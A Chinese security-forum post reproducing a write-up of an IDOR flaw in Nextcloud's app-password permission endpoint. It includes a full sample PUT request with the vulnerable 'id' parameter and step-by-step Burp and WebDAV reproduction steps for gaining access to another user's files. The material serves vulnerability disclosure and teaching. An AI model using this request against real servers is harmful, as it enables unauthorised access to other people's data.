安全矩阵

 找回密码
 立即注册
搜索
查看: 753|回复: 0

IDOR研究系列-注册用户可以更改任何用户的应用程序密码权限

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-20 20:45:20 | 显示全部楼层 |阅读模式
本帖最后由 adopi 于 2023-3-20 20:45 编辑

原文链接:IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限
前言
前面写过的很多IDOR相关的文章:
正文:
有问题的链接见下面:
http://[server]/nextcloud/index.php/settings/personal/authtokens/[token ID]
Nextcloud用户可以创建特定于应用程序的密码,也称为authtokens, 让一个应用程序对其账户进行有限制的访问。用户可以根据每个应用程序密码授予或拒绝访问他们的文件。
更改密码的文件访问(“文件系统”)权限的功能包含一个IDOR漏洞。在提交易受攻击的请求时,经过身份验证的用户可以通过更改应用程序密码ID号码来更改其他用户的应用程序密码的权限。
脆弱性参数位于发送给脆弱URL的JSON体中。示例请求如下:

  1. PUT /nextcloud/index.php/settings/personal/authtokens/95 HTTP/1.1
  2. Host: 192.168.1.22
  3. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
  4. Accept: application/json, text/javascript, /; q=0.01
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/json
  8. requesttoken: vc5TVyC0GjTVwEX/YNUMeJ79CWq4W9G0/F6dJTOKMvE=:i6U7bkv2Tna8lXe2NbN6OdO/QgSKP7X1tR/kV1TsC6Q=
  9. OCS-APIREQUEST: true
  10. X-Requested-With: XMLHttpRequest
  11. Content-Length: 109
  12. Cookie: oc0xkd23iidt=prfrkbtr1t6bdqou018cajubv7; oc_sessionPassphrase=mz4sLu%2BmEY3MNj1ItWaTYM6PsBpJikK34msNsw1zA%2BuUJoM9J2zXY26eF7PDr9Dy9DpafNTaWN8iIBrGmh%2FDghSJASzTIwQhjW4gC%2B%2BTjIDBXm0THC7nixmxvdfIPxNA; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true
  13. Connection: close
  14. {"id":95,"name":"thisiatest","lastActivity":1513224099,"type":1,"scope":{"filesystem":true},"canDelete":true}
复制代码
id为脆弱性参数


复现步骤
前提条件:一台有几个测试用户的Nextcloud服务器,一个能通过Burp等代理的浏览器设置。一个WebDav客户端也很有用,可以在Ubuntu上使用cadaver。
  • 转到Burp,点击“代理”选项卡,点击“拦截”子选项卡,点击“拦截开启”切换拦截关闭(如果它还没有关闭)
  • 以测试用户登录Nextcloud
  • 创建一个应用程序密码,取消勾选“允许文件系统访问”
  • 转到Burp,点击“代理”选项卡,点击“HTTP历史”子选项卡,向下滚动列表,找到对易受攻击URL的调用.注意authtoken ID的值.它是URL末尾的数字,也是JSON请求正文中的“id”值
  • 退出Nextcloud
  • 如果您有webdav客户端,请使用密码登录。对于cadaver,打开终端,输入“cadaver http://[server]/remote.php/webdav”,用app密码登录,发出“ls”命令。应该不会出现任何内容,因为该密码缺乏对用户文件的权限
  • 以第二个用户登录Nextcloud
  • 为这个用户创建一个应用程序密码,取消勾选“允许文件系统访问”
  • 跳转Burp -> Proxy -> Intercept,切换拦截开启(interception on)
  • 回到浏览器,为我们刚刚创建的应用程序重新勾选“允许文件系统访问”框。
  • Burp应该会延迟观看请求。请求应该指向易受攻击的URL;如果不是,点击“转发”,直到易受攻击的URL出现
  • 在JSON请求正文中,将“id”参数的值更改为前面提到的第一个受害用户的authtoken id
  • 转发(forward)请求(或者关闭拦截开关,都可以)
  • 回到webdav客户端,再次发出“ls”命令。现在应该得到受害用户的目录列表。如果没有,退出webdav客户端,并尝试再次登录

  • 如果没有webdav客户端,请退出Nextcloud并作为第一个用户重新登录。转到他们的个人设置,向下滚动到authtoken/app特定的密码,然后单击3次省略图标。现在应该检查“允许文件系统访问”,这表明我们的IDOR攻击成功地改变了这个authtoken的权限


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 20:38 , Processed in 0.014669 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表